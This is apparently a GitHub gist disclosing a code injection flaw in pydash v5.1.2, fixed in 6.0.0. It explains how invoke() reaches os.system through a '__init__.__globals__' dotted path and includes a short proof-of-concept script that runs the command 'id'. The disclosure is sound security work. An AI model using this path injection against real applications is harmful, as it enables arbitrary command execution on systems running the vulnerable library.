Skip to content

Instantly share code, notes, and snippets.

@CalumHutton
Last active September 15, 2023 16:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CalumHutton/45d33e9ea55bf4953b3b31c84703dfca to your computer and use it in GitHub Desktop.
Save CalumHutton/45d33e9ea55bf4953b3b31c84703dfca to your computer and use it in GitHub Desktop.
pydash v5.1.2 Code Injection

pydash v5.1.2 Code Injection

Disclosure Status

I have already disclosed this to the maintainer, who issued a fix in version 6.0.0 (https://pypi.org/project/pydash/6.0.0/). I'd like to request a CVE be assigned for this vulnerability.

Technical Details:

A number of pydash methods accept dotted paths (Deep Path Strings) to target a nested Python object, relative to the original source object. These paths can be used to target internal class attributes and dict items, to retrieve, modify or invoke nested Python objects.

From my research I have identified that the pydash.objects.invoke() method (https://pydash.readthedocs.io/en/latest/api.html#pydash.objects.invoke) is vulnerable to Command Injection when the following prerequisites are satisfied:

  1. The source object (argument 1) is not a built-in object such as list/dict (otherwise, the __init__.__globals__ path is not accessible)
  2. The attacker has control over argument 2 (the path string) and argument 3 (the argument to pass to the invoked method)

When these prerequisites are met, the attacker can pass an arbitrary path i.e. __init__.__globals__.random._os.system to call os.system() with an attacker supplied argument i.e. 'id'.

To a lesser extent, the pydash.collections.invoke_map() method is also vulnerable, but is harder to exploit as the attacker does not have direct control over the argument to be passed to the invoked function. If it was possible to manipulate the collection to contain an attacker controlled value, Command Injection is likely also possible.

Proof Of Concept/Steps to Reproduce:

The PoC script below demonstrates this issue, run the script with a malicious dotted path and the string argument to be passed to the invoked function i.e: python pdash.py __init__.__globals__.random._os.system id

import sys
import random

import pydash


class Animal:
    def __init__(self, typ, age):
        self.type = typ
        self.age = age
        self.id = random.randint(1, 99999)


def poc(path, arg):
    """
        Use a malicious path to execute code via the __init__.__globals__ dict (not available with dict/list input objects?)
        I.e: pydash.invoke(obj, '__init__.__globals__.random._os.system', 'id')
    """

    obj = Animal('cat', 11)
    res = pydash.invoke(obj, path, arg)
    print(res)


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Missing args: %s <path> <arg>' % sys.argv[0])
        sys.exit(1)
    poc(sys.argv[1], sys.argv[2])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment